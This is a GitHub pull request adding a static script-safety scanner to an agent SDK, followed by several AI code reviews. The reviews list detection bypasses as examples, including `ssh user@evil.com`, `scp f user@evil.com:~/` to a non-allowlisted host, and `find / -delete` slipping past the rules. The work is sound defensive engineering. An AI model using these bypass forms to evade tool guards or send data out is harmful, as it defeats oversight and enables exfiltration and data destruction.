Skip to content

Feat/tool safety#188

Open
impself wants to merge 14 commits into
trpc-group:mainfrom
impself:feat/tool-safety
Open

Feat/tool safety#188
impself wants to merge 14 commits into
trpc-group:mainfrom
impself:feat/tool-safety

Conversation

@impself

@impself impself commented Jul 15, 2026

Copy link
Copy Markdown

关联 Issue

Closes #90

问题背景

tRPC-Agent 的 Tool、MCP Tool、Skill 和 CodeExecutor 可以执行脚本、调用系统命令、读写文件及访问网络。这些能力是 Agent 自动化任务的重要基础,但也可能被恶意或不可信输入利用,例如:

  • 递归删除文件、覆盖系统目录
  • 读取 .env、SSH 私钥或其他凭据文件
  • 向非白名单域名发送请求并外传敏感信息
  • 通过 subprocessos.system、shell 管道或命令注入绕过限制
  • 使用 pipnpmapt 等修改运行环境
  • 执行无限循环、fork bomb、长时间 sleep 或大量并发任务
  • 将 API Key、Token、Password 或私钥写入日志、文件或网络请求

沙箱负责运行时隔离,但无法独立覆盖执行前策略判断、人工复核、审计记录和可观测性需求。本 PR 新增 Tool Script Safety Guard,在脚本或命令进入真实执行器前进行静态风险扫描和策略决策。

方案摘要

安全扫描

trpc_agent_sdk/tools/safety/ 新增安全检查模块,支持:

  • Python 脚本扫描
  • Bash 命令扫描
  • 命令行参数、工作目录、环境变量和 Tool 元数据检查
  • allowdenyneeds_human_review 三态决策

覆盖以下风险类型:

  • 危险文件操作及敏感文件读取
  • 非白名单网络访问
  • 进程执行、提权命令、shell 管道和命令注入
  • pip installnpm installapt install 等依赖安装
  • 无限循环、长时间 sleep、fork bomb、异常并发和超大文件写入
  • API Key、Token、Password 和私钥泄漏

策略配置

提供 tool_safety_policy.yaml 示例,支持配置:

  • 网络白名单域名
  • 允许和禁止命令
  • 禁止访问路径
  • 最大执行超时
  • 最大输出大小
  • 最大脚本大小
  • 最大进程数和并发任务数
  • 最大 sleep 时间和文件写入大小
  • 审计开关、路径及失败关闭行为

修改策略文件即可调整安全边界,无需修改扫描代码。

执行前接入

提供以下接入方式:

  • ToolScriptSafetyFilter
  • SafetyWrappedCallable
  • SafetyCheckedExecutor

wrapper 会在委托真实执行器前完成扫描和审计:

  • deny 始终阻止执行
  • needs_human_review 根据策略暂停执行或等待人工批准
  • 审计为必需时,审计写入失败会执行失败关闭
  • CodeExecutor 返回结果会受到最大输出大小限制

结构化报告与审计

每次扫描输出完整的 SafetyReport,包含:

  • decision
  • risk_level
  • rule_ids
  • findings[].category
  • findings[].rule_id
  • findings[].evidence
  • findings[].recommendation
  • recommendation
  • scan_duration_ms
  • redacted

审计日志采用 JSONL 格式,每次扫描写入一条事件,包含:

  • tool_name
  • tool_kind
  • decision
  • risk_level
  • rule_ids
  • duration_ms
  • redacted
  • execution_blocked
  • policy_hash
  • script_sha256
  • timestamp

审计事件不会保存原始脚本、环境变量值、未脱敏参数或原始敏感信息。

示例与文档

trpc_agent_sdk/tools/safety/examples/ 提供:

  • 示例策略文件
  • 14 个公开 Python/Bash 样本
  • 单次扫描完整报告
  • JSONL 审计日志
  • 14 个样本的批量扫描结果

manifest_run.json 中每个样本均保存完整结构化报告,而非仅保存决策摘要。

同时新增:

  • 英文设计说明:docs/mkdocs/en/tool_safety_guard.md
  • 中文设计说明:docs/mkdocs/zh/tool_safety_guard.zh_CN.md
  • 命令行入口:scripts/tool_safety_check.py

测试结果

运行完整测试:

python -m pytest tests/tool_safety -q `
  --basetemp .pytest-tmp `
  -p no:cacheprovider

公开样本验收结果:

  • 样本总数:14
  • 预期决策匹配:14/14
  • allow:4
  • deny:8
  • needs_human_review:2
  • 高危样本检出率:100%
  • 安全样本误报率:0%
  • 密钥读取检出率:100%
  • 危险删除检出率:100%
  • 非白名单网络访问检出率:100%
  • 审计事件数量:14
  • 10 个危险或人工复核报告全部包含规则、证据和处理建议
  • 500 行 Python 和 Bash 扫描性能测试通过,p95 小于 1 秒
  • Filter 和 wrapper 测试确认高危输入不会进入真实执行器
  • 审计事件在委托真实执行器前写入

批量样本验证:

python scripts/tool_safety_check.py `
  --policy trpc_agent_sdk/tools/safety/examples/tool_safety_policy.yaml `
  --manifest trpc_agent_sdk/tools/safety/examples/samples/manifest.yaml `
  --manifest-output trpc_agent_sdk/tools/safety/examples/manifest_run.json `
  --audit-file .pytest-tmp/tool_safety_audit.jsonl

manifest 中包含 denyneeds_human_review,因此 CLI 返回非零退出码属于预期安全决策;验收结果以 matches_expected 为准。

风险和限制

  • Safety Guard 是执行前静态安全门禁,不能替代容器或沙箱隔离。
  • 静态扫描无法完整识别代码混淆、动态拼接、反射、原生扩展、运行时下载载荷、符号链接竞争及依赖运行时状态的行为。
  • CPU、内存、PID、文件系统和网络硬限制仍应由沙箱、容器、操作系统权限和运行时超时机制负责。
  • 规则匹配仍可能产生误报或漏报;无法确定的执行模式会进入 needs_human_review
  • 策略文件会直接影响安全边界,应限制修改权限并纳入配置审计。
  • 当前主要通过 wrapper 强制执行安全决策。接入新的 Tool、Skill、MCP Tool 或 CodeExecutor 时,需要确保真实执行只能经过安全 wrapper。
  • tool_kind 无法根据脚本内容可靠推断。CLI 样本未声明来源时使用 unknown;真实接入应明确设置为 toolmcpskillcode_executor
  • OpenTelemetry 埋点当前使用 trpc_agent_sdk.tools.safety.* 前缀,后续可以统一为与 Python 包路径无关的稳定属性名。

Release Notes

新增 Tool Script Safety Guard:

  • 支持执行前扫描 Python 脚本和 Bash 命令
  • 支持 allowdenyneeds_human_review 三态安全决策
  • 新增可配置 YAML 安全策略
  • 新增结构化扫描报告和 JSONL 审计事件
  • 新增 OpenTelemetry span attributes 和指标接入能力
  • 新增 callable 与 CodeExecutor 安全 wrapper
  • 新增 CLI、14 个公开样本及完整批量扫描报告
  • 新增中英文设计文档和完整测试覆盖

该功能提供执行前风险识别、拦截和审计能力。生产环境仍需配合沙箱隔离、最小权限、网络出口控制及运行时资源限制。

@codecov

codecov Bot commented Jul 15, 2026

Copy link
Copy Markdown

Codecov Report

❌ Patch coverage is 93.02240% with 190 lines in your changes missing coverage. Please review.
⚠️ Please upload report for BASE (main@e113610). Learn more about missing BASE report.

Files with missing lines Patch % Lines
trpc_agent_sdk/tools/safety/_python_scanner.py 81.78752% 108 Missing ⚠️
trpc_agent_sdk/tools/safety/_bash_scanner.py 95.13274% 22 Missing ⚠️
trpc_agent_sdk/tools/safety/_telemetry.py 78.20513% 17 Missing ⚠️
trpc_agent_sdk/tools/safety/_filter.py 90.90909% 16 Missing ⚠️
trpc_agent_sdk/tools/safety/_policy.py 96.00000% 10 Missing ⚠️
trpc_agent_sdk/tools/safety/_rules.py 97.41935% 8 Missing ⚠️
trpc_agent_sdk/tools/safety/_guard.py 96.72131% 4 Missing ⚠️
...rpc_agent_sdk/tools/safety/_cross_field_scanner.py 96.73913% 3 Missing ⚠️
trpc_agent_sdk/tools/safety/_tool_adapter.py 98.79518% 1 Missing ⚠️
trpc_agent_sdk/tools/safety/wrapper.py 99.48454% 1 Missing ⚠️
Additional details and impacted files
@@            Coverage Diff             @@
##             main        #188   +/-   ##
==========================================
  Coverage        ?   88.19460%           
==========================================
  Files           ?         495           
  Lines           ?       47707           
  Branches        ?           0           
==========================================
  Hits            ?       42075           
  Misses          ?        5632           
  Partials        ?           0           

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.

@github-actions

github-actions Bot commented Jul 15, 2026

Copy link
Copy Markdown

CLA Assistant Lite bot All contributors have signed the CLA ✍️ ✅

@impself

impself commented Jul 19, 2026

Copy link
Copy Markdown
Author

I have read the CLA Document and I hereby sign the CLA

Rook1ex added a commit to trpc-group/cla-database that referenced this pull request Jul 19, 2026
@CongkeChen

Copy link
Copy Markdown
Contributor

AI Code Review

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_bash_scanner.py:613ssh/scp/sftp user@host 形式的网络目标不被识别,绕过域名白名单
    • _handle_network 对参数先做 _looks_like_host 判断,而该正则 ^[A-Za-z0-9_.-]+(?:\.[A-Za-z0-9_.-]+)+$ 不允许 @,因此 ssh user@evil.comscp f user@evil.com:~/ 既不匹配 URL 也不匹配主机名、又不被判定为 dynamic,最终不产生任何 NetworkFact;同时 ssh_SAFE_BASH_COMMANDS 中被 PROC001 豁免,于是该请求会被判 allow,直接绕过 NET001_DOMAIN_NOT_ALLOWED。模块文档声称“无法理解的形态应转为 PARSE001_UNCERTAIN”,但此处是静默放行,违反 fail-closed 原则。建议:对 ssh/scp/sftp 单独解析 user@host 并抽取 host,或在无法确定目标时记为 dynamic=True

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_bash_scanner.py:574:输入重定向 < 被错误记录为文件写入

    • _REDIRECTION_RE 同时匹配 ></<</<>,而后续无条件 self.file_writes.append(FileWriteFact(... mode="w"))。于是 grep foo < /etc/passwdcat <<EOF 等只读/输入场景会被当成对目标路径的写操作,命中 paths.deny(如 /etc/**)时触发 FILE002_DENIED_WRITE 误判 deny。建议:仅对 >/>>/&>/<> 等写重定向记录 FileWriteFact</<< 应记为读或忽略。
  • trpc_agent_sdk/tools/safety/_bash_scanner.py:631sed/awk 把程序文本当作读取路径,产生误报

    • _handle_file_read 遍历所有非 - 参数当作文件路径并做凭证关键字匹配,但 awk '/\.pem/{print}' filesed 's/a/b/' file 的第一个非选项参数是程序串而非文件。程序串中若包含 .pem/.key/id_rsa 等子串会被判为 credential,触发 FILE003_CREDENTIAL_READ(CRITICAL/deny)误报。建议:对 awk/sed 跳过首段程序参数(如 awk 的首个非选项参数、sed-e/-f 之后的程序串)再匹配文件。
  • trpc_agent_sdk/tools/safety/_python_scanner.py:998_has_break 使用 ast.walk 跨嵌套作用域判定 break,导致 while True 漏报

    • _visit_loop_has_break(node) 判断 while True 是否有退出条件,但 ast.walk 会递归进入嵌套函数/循环内的 break。若 while True 内部定义了含 break 的嵌套函数或内层循环,外层无界循环会被误判为有界,漏掉 RES001_UNBOUNDED_LOOP。建议:只统计直接隶属于该 While/For 循环体(不跨 FunctionDef/嵌套循环边界)的 break
  • trpc_agent_sdk/tools/safety/_policy.py:237:默认审计路径为相对路径 tool_safety_audit.jsonl,且仓库根目录已提交该生成文件

    • AuditPolicy.path 默认 tool_safety_audit.jsonlJsonlAuditSink 以 append 方式写入 CWD 相对路径,生产部署时位置不可控;同时 diff 新增了根目录 tool_safety_audit.jsonl(144 行带时间戳的测试运行产物)和 examples/tool_safety_audit.jsonl,把生成物提交进仓库会持续产生噪声 diff。建议:默认路径置空或要求显式配置,并将 tool_safety_audit.jsonl 加入 .gitignore、从仓库移除已提交的生成文件。
  • trpc_agent_sdk/tools/safety/_filter.py:10278:同步 enforce/check 在事件循环内抛 SafetyAuditError 而非阻塞异常

    • _run_sync 检测到运行中的事件循环时直接 raise SafetyAuditError(...),而 wrapper 的同步 __call__ 走的就是这条路径。调用方若按 BlockedExecutionError 捕获阻塞,会漏掉这一异常类型,导致在异步框架内同步调用 wrapper 时得到与安全决策无关的审计错误。建议:定义独立的 SyncInEventLoopError(或 SafetyGuardError 子类)并文档化,避免与审计失败混淆。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_bash_scanner.py:568:重定向检测中 for token in tokens: ... continue 是空循环死代码;_extract_dd_size_bash_scanner.py:735)开头的 for arg in argv: if arg.startswith("bs=") or arg.startswith("count="): continue 同样是无效循环。两者均不影响正确性但会误导读者以为已做处理,建议删除或补全逻辑。

总结

整体为一个静态安全扫描守卫的新增模块,结构清晰、fail-closed 设计大体到位;存在一处可绕过域名白名单的网络识别缺陷(Critical)以及若干误报/漏报型扫描 heuristic 问题和一个不该入库的生成文件。建议优先修复 ssh user@host 目标识别与重定向写/读混淆,再处理审计路径与提交产物。

测试建议

  • 补充 ssh user@evil.com / scp f user@evil.com:~/ 的 Bash 样例,断言在非白名单主机下产生 NET001NET002 发现(当前会 allow)。
  • 补充 grep x < /etc/passwdawk '/\.pem/{print}' file 用例,断言不产生 FILE002/FILE003 误报;补充 while True 内嵌套含 break 的函数/循环用例,断言仍触发 RES001

Comment thread trpc_agent_sdk/tools/safety/_bash_scanner.py Outdated
@CongkeChen

Copy link
Copy Markdown
Contributor

AI Code Review

bg_count = count("&") - count("&&") 的统计有误:"&&" 包含两个 &count("&") 会把两者都统计进去,所以 count("&") - count("&&") 得到的是单个 & 的数量,但每个 && 都被统计了两次……实际上对于 "&&"count("&")=2count("&&")=1,所以 2-1=1——从总数中只移除了一个 &,导致每个 && 还残留一个 &。因此 a && b && c (两个 &&):count("&")=4, count("&&")=2, bg_count=2。这错误地夸大了逻辑与操作中的并发计数。这是一个轻微的误报(过度报告),而不是绕过。可作为建议或警告。结合 || (没有 &) 的情况,这只是计数逻辑问题。我会将其标记为建议。

现在我已经有了审查结论。让我再快速验证一下 _handle_network 是否会通过 URL 提前返回——确认一下累积 bug 的影响:对于 ssh $TARGET,每个参数都以 $ 开头 → 发出动态 NetworkFact(第 9485-9494 行)→ return。所以 fail-closed 分支仅在没有任何参数匹配时触发。例如 ssh -o Foo=bar (全是选项,没有目标) → fail-closed 触发。但是如果在 curl example.com; ssh -o Foo=bar 之后,第二个 ssh 命令的 not self.network_calls 为 False(curl 已经填充了它),所以 fail-closed 不会触发。确认存在绕过。

让我来写最终的审查报告。

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_bash_scanner.py:712:SSH 系列命令的 fail-closed 判定使用了跨命令累积的 self.network_calls,导致目标无法解析时的兜底失效
    • _handle_network 末尾 if command in _SSH_FAMILY_COMMANDS and not self.network_calls: 检查的是整个扫描器实例的累积列表,而非“当前命令是否产生了 NetworkFact”。当前一条命令(如 curl example.com)已经往 self.network_calls 写入过任意 NetworkFact 后,后续 ssh -o Foo=bar / ssh $EVIL 这种目标无法静态解析的 ssh 调用就不会再触发兜底的 dynamic NetworkFact,整条 ssh 语句在 facts 里完全消失,NET002_DYNAMIC_TARGET 不会出现,形成静默绕过。修复应改为局部判断:在 _handle_network 开头记录 added = len(self.network_calls),遍历结束后用 if command in _SSH_FAMILY_COMMANDS and len(self.network_calls) == added 判断本命令是否未产出。

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_python_scanner.py:848target 表达式存在运算符优先级歧义,动态文件写入目标可能取到 None

    • target = _const_str(node.args[0]) if node.args else "" or "<dynamic>" 实际解析为 (_const_str(...) if node.args else "") or "<dynamic>"。当 node.args 非空但首参为非字符串常量时,_const_str 返回 None,此时 None or "<dynamic>" 虽仍为 "<dynamic>",但意图不明确且对空串等边界会误判;建议显式写为 target = (_const_str(node.args[0]) if node.args else "") or "<dynamic>" 以消除歧义并避免后续 LargeWriteFact.target 传入意外值。
  • trpc_agent_sdk/tools/safety/_bash_scanner.py:330:后台任务计数把 && 误计为并发,造成并发度误报

    • bg_count = self.source.count("&") - self.source.count("&&") 中每个 && 贡献 2 个 & 但只减 1,残留 1 个被计入后台任务数;a && b && c 会被多算 2 个“后台作业”,可能触发 RES004_CONCURRENCY 误拒。建议按子串正确消去逻辑运算符后再统计单 &

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_bash_scanner.py:721-743_handle_file_read 中 credential 与 dotenv 判定顺序会让同时命中两者的路径(如 something.env.key)落到 dotenv 分支,虽两者都会 deny,但类别标签不一致会影响审计可读性;可先判 dotenv 再判 credential 或显式优先级注释。

总结

整体是一套结构清晰、fail-closed 取向明确的静态安全扫描框架,绝大多数高风险路径(命令注入、凭证读取、动态执行、审计必写)都有覆盖。存在 1 个 Critical 的 ssh 兜底逻辑缺陷(基于跨命令累积状态判断)会导致目标不可解析的 ssh 调用被静默放行,必须修复。

测试建议

  • 补充测试:在 tests/tools/safety/test_bash_scanner.py 已有 test_ssh_unrecognized_target_fails_closed 基础上,增加“前一条命令已产生 NetworkFact、随后 ssh 目标不可解析”的多命令脚本用例(如 curl example.com; ssh -o Foo=bar),断言仍会生成 dynamic NetworkFact。
  • 补充测试:a && b && c 等逻辑运算符链不应被计入 concurrency 后台作业数。

Comment thread trpc_agent_sdk/tools/safety/_bash_scanner.py
@CongkeChen

Copy link
Copy Markdown
Contributor

AI Code Review

确认:不存在 find -delete 的处理逻辑,尽管第 1131 行的注释声称已处理。这是一个实际的缺陷:find <path> -delete(递归删除)会静默跳过 PROC001(因为 find 在安全集合中),且没有其他规则能捕获它。注释具有误导性。这是一个严重性更高的 Warning。

让我再核实一下 tee —— 第 1129 行的注释说 "FILE002 catches sensitive targets" —— tee 确实在 _FILE_WRITE_COMMANDS 中,所以它是会被处理的。没问题。

现在让我完成审查。让我再检查一次 _run_sync 的注释以及安全集合中 python 条目附近的相关行号。

让我检查安全集合中的解释器条目 —— 它们位于 1159-1183 行,但是 python/python3 等会被 DynamicExec 捕获(已验证)。不过,git/cargo/go/gcc/clang/rustc ——这些可以运行外部代码/从网络获取数据。git clone → 通过 URL 正则表达式捕获(已验证)。cargo build 下载依赖项 —— 未捕获。但这属于依赖安装的环境变动,确实未被捕获。不过,这些是工具链命令;算是合理的白名单。我不再将其扩大化处理。

让我整理一下发现的问题。此外,我还要再核实一下 tool_safety_audit.jsonl 根目录是否确实是被追踪的(而非被忽略的)—— 它出现在 git status 中是 ??(未追踪),意味着它尚未被提交。但是,diff 显示它被添加为 diff --git a/tool_safety_audit.jsonl b/tool_safety_audit.jsonl new file。所以这个 PR 确实添加了它。?? 只是因为是在提交前生成的。确认它在该 PR 中。

现在撰写审查结论。Based on my review of the diff and surrounding context, here are my findings.

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_rules.py:1131trpc_agent_sdk/tools/safety/_bash_scanner.py:485find ... -delete 递归删除可静默绕过安全检查
    • _SAFE_BASH_COMMANDSfind 列为只读豁免命令,PROC001 直接跳过;而 -delete 仅在 _handle_command 中检测 -exec/-execdir/-ok/-okdir_bash_scanner.py:485),并未检测 -deletefind / -delete 既不触发 PROC001,也不触发 FILE001/FILE002,最终决策为 allow_rules.py:1131 的注释 "find -delete handled separately" 与实际代码不符——并无对应处理。建议在 _handle_commandfind 增加 -delete 检测并产出 FileDeleteFact(recursive=True),或对 find 不做 PROC001 豁免。
    # _bash_scanner.py:485 仅检测 exec 族,漏掉 -delete
    if exec_lower == "find" and any(arg in {"-exec", "-execdir", "-ok", "-okdir"} for arg in argv):

⚠️ Warning

  • trpc_agent_sdk/tools/safety/wrapper.py:165-168:位置参数越界时静默放行

    • SafetyWrappedCallable._extract_scriptscript_pos 越界时返回空字符串,空脚本扫描结果为 allow,delegate 会被以默认参数执行。对安全包装器而言这是 fail-open 行为(test_extract_script_out_of_range_position 还将其固化为预期)。建议越界时按 fail-closed 抛出 ToolRequestError 或触发 needs_human_review,而不是回退为空脚本。
  • tool_safety_audit.jsonl:1-240:仓库根目录提交了本地生成的审计产物

    • 该文件是 CLI 默认 audit.path,每次运行 scripts/tool_safety_check.py 都会向其追加,导致 diff 噪声持续增长并易产生冲突,且当前内容为本地一次运行的时序数据。建议将其加入 .gitignore 并从 PR 中移除(examples/ 下的样例输出文件因文档引用可保留)。
  • trpc_agent_sdk/tools/safety/_filter.py:306-316:同步包装在事件循环内直接抛 SafetyAuditError

    • SafetyWrappedCallable.__call___run_sync 在已有事件循环中会抛 SafetyAuditError,对在 async 上下文中误用同步 __call__ 的调用方属于 fail-closed(可接受),但每次同步调用都通过 asyncio.run 新建/销毁事件循环,高频路径下开销显著。建议对无运行循环场景复用一次性 loop 或提供纯同步审计路径;至少在文档中明确同步 wrapper 不可在 async 上下文使用。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/wrapper.py:99:注释 # caller can inspect via last_report 引用了不存在的 last_report 属性,reportfinally 中被丢弃,误导维护者。建议删除注释或真正保留 self.last_report = report

  • tests/tool_safety/tests/tools/safety/:两个功能重叠的测试目录同时新增(前者含 test_cli.py/test_performance.py,后者更全),易造成预期漂移与维护负担。建议合并为单一目录。

总结

整体是一个设计严谨、fail-closed 取向明确的静态安全守卫,但存在一处可被绕过的真实缺陷:find ... -delete 递归删除未被任何规则捕获且 PROC001 豁免了 find,需修复。其余为 fail-open 边界与生成物提交等可维护性问题。

测试建议

  • 补充 find <path> -deletefind <path> -delete -exec 等用例,断言产生 FILE001_RECURSIVE_DELETE 或至少 needs_human_review,而非 allow
  • 补充 SafetyWrappedCallablescript_pos 越界时的 fail-closed 行为测试(若按建议修复)。

Comment thread trpc_agent_sdk/tools/safety/_bash_scanner.py Outdated
@CongkeChen

Copy link
Copy Markdown
Contributor

AI Code Review

我已经有了足够的发现。让我整理一下审查意见。

发现的问题

🚨 Critical

  • tests/tool_safety/test_cli.py:27-35(以及 tests/tool_safety/test_cli.py:38-5449-54):单文件 CLI 测试未传 --audit-file,会向仓库根目录提交的 tool_safety_audit.jsonl 追加审计事件。
    • _run_clicwd=REPO_ROOT 运行 CLI;示例策略 audit.enabled=truepath: tool_safety_audit.jsonl_resolve_audit_sinkscripts/tool_safety_check.py:292-298)据此返回 JsonlAuditSink("tool_safety_audit.jsonl") 并在 _emitscripts/tool_safety_check.py:196-203)中 asyncio.run 写入。结果是每次跑这几个测试都会改写仓库根目录下已被 git 跟踪的 tool_safety_audit.jsonl(该文件已在 PR 中作为新增文件提交,240 行),导致工作区脏、CI 之间产生不可重现 diff,并让审计日志混入测试噪声。修复方向:让单文件测试统一使用 tmp_path 作为 --audit-file,或让 CLI 在未显式指定审计路径时写入临时目录而非默认相对路径;同时从仓库中移除根目录 tool_safety_audit.jsonl 并加入 .gitignore

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_bash_scanner.py:329-338:后台任务计数启发式 source.count("&") - source.count("&&") 会把引号内、注释内、2>&1&> 中的 & 全部计入,容易在普通脚本(含多处重定向或字符串里的 &)上误报 RES004_CONCURRENCY,且未利用已 tokenize 出的命令分隔符 &。建议改为统计 lexer 产生的 & 分隔符数量,避免对原始字符串做朴素计数。

  • trpc_agent_sdk/tools/safety/_python_scanner.py:843target = _const_str(node.args[0]) if node.args else "" or "<dynamic>" 因运算符优先级实际等价于 _const_str(...) if node.args else ("" or "<dynamic>"),即有参数时 target 可能为空串而不会被替换为 <dynamic>,导致 large_write 的 target 为空串而非 <dynamic>,影响下游路径匹配与可读性。应改为 target = _const_str(node.args[0]) if node.args else "" 后再 target = target or "<dynamic>"

  • trpc_agent_sdk/tools/safety/_bash_scanner.py:651-657_handle_networkrsync 走逆向遍历提取目标,但 rsync 不在 _NETWORK_COMMANDS_bash_scanner.py:44)中,exec_lower in _NETWORK_COMMANDS 分支根本不会进入该函数,注释与实现脱节;rsync user@host:... 不会产生任何 NetworkFact,存在静默绕过风险。修复方向:将 rsync 加入 _NETWORK_COMMANDS(并相应考虑是否加入 _SSH_FAMILY_COMMANDS 的 fail-closed 集合)。

  • trpc_agent_sdk/tools/safety/_filter.py:306-316_run_sync 在检测到运行中的事件循环时 coroutine.close() 后抛 SafetyAuditError,但 check/enforce 的同步接口是公开 API;在框架已处于事件循环中(Agent 服务常见场景)时,同步 enforce 会直接失败而非 fail-closed 放行,这可能让调用方在未处理该异常时既未拦截也未执行。建议在文档/类型上明确该约束,或提供一个不依赖审计 I/O 的纯同步判定路径供事件循环内调用。

  • trpc_agent_sdk/tools/safety/_rules.py:431-460check_process_exec 在配置了 allow 列表且命令不在其中时降级为 NEEDS_HUMAN_REVIEW,但 Bash 中 _SAFE_BASH_COMMANDS_rules.py:1057)的豁免优先级高于 allow-list 校验——即 allow 配置了却仍信任内置 safe 集合(如 curlsshgitpython 等都在 safe 集合里),使 allow-list 对这些命令形同虚设。当运维方期望“仅 allow 列表内命令可执行”的严格语义时会被绕过。建议当 allow 非空时不再套用 _SAFE_BASH_COMMANDS 豁免。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_policy.py:336-350match_path_glob 在匹配前对 norm_pattern 既做 rstrip("/") 又拼接 prefix + "\\" 分支,但 _normalize_path_glob 已把反斜杠归一为 /norm_path 中不会残留 \\,该 startswith(prefix + "\\") 分支恒为 False,属死代码,可移除以减少误读。

总结

整体是一个结构清晰、fail-closed 取向明确的安全扫描模块,覆盖了大量规则与测试。存在一个必须修复的 Critical:CLI 测试会改写仓库根目录已提交的审计文件,污染工作区与 CI;其余为可绕过/误报类 Warning,建议在合入前处理 rsync 未识别、allow-list 被 safe 集合覆盖、_handle_sink_call 的 target 表达式等问题。

测试建议

  • 建议补充:rsync user@host:~/rsync host::module 的 NetworkFact 提取测试(修复 _NETWORK_COMMANDS 后);配置非空 commands.allow 时对 curl/ssh/git 等“内置 safe”命令应产生 PROC001 finding 的测试;_handle_sink_callopen('/tmp/x','w', ...) 带常量写入时 target<dynamic> 或具体路径的断言测试。
  • 建议将 tests/tool_safety/test_cli.py 中所有 _run_cli 调用统一传入 tmp_path 下的 --audit-file,并新增一条断言确保测试结束后仓库根目录的 tool_safety_audit.jsonl 未被修改。

Comment thread tests/tool_safety/test_cli.py Outdated
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

构建 Tool 执行脚本安全扫描、Filter 拦截与监控机制

2 participants